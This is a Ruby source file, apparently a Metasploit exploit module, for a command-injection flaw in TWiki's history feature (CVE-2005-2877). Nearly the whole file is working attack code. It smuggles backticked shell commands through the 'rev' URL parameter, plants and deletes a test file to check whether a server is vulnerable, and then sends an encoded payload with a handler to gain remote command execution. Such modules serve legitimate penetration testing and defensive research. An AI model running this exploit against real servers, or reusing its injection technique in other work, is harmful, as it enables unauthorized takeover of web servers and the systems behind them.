129 lines
3.8 KiB
Ruby
129 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TWiki History TWikiUsers rev Parameter Command Execution',
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'Description' => %q{
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This module exploits a vulnerability in the history component of TWiki.
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By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers
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script, an attacker can execute arbitrary OS commands.
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},
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'Author' =>
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[
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'B4dP4nd4', # original discovery
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'jduck' # metasploit version
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-2877' ],
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[ 'OSVDB', '19403' ],
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[ 'BID', '14834' ],
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[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]
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],
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'Privileged' => true, # web server context
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'Payload' =>
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{
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'DisableNops' => true,
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'BadChars' => '',
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'Space' => 1024,
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},
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Sep 14 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
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], self.class)
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end
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#
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# NOTE: This is not perfect, since it requires write access to the bin
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# directory. Unfortunately, detrmining the main directory isn't
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# trivial, or otherwise I would write there (required to be writable
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# per installation steps).
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#
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def check
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test_file = rand_text_alphanumeric(8+rand(8))
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cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=')
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test_url = normalize_uri(datastore['URI'], test_file)
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# first see if it already exists (it really shouldn't)
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res = send_request_raw({
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'uri' => test_url
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}, 25)
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if (not res) or (res.code != 404)
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vprint_warning("WARNING: The test file exists already!")
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return Exploit::CheckCode::Unknown # Need to try again
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end
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# try to create it
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vprint_status("Attempting to create #{test_url} ...")
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rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'
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res = send_request_raw({
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'uri' => cmd_base + Rex::Text.uri_encode(rev)
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}, 25)
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if (not res) or (res.code != 200)
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return Exploit::CheckCode::Safe
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end
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# try to run it, 500 code == successfully made it
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res = send_request_raw({
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'uri' => test_url
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}, 25)
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if (not res) or (res.code != 500)
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return Exploit::CheckCode::Safe
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end
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# delete the tmp file
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print_status("Attempting to delete #{test_url} ...")
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rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#'
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res = send_request_raw({
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'uri' => cmd_base + Rex::Text.uri_encode(rev)
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}, 25)
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if (not res) or (res.code != 200)
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vprint_warning("WARNING: unable to remove test file (#{test_file})")
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end
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return Exploit::CheckCode::Vulnerable
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end
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def exploit
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rev = rand_text_numeric(1+rand(5))
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rev << ' `' + payload.encoded + '`#'
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query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers')
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query_str << '?rev='
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query_str << Rex::Text.uri_encode(rev)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => query_str,
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}, 25)
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if (res and res.code == 200)
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print_status("Successfully sent exploit request")
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else
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fail_with(Failure::Unknown, "Error sending exploit request")
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end
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handler
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end
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end
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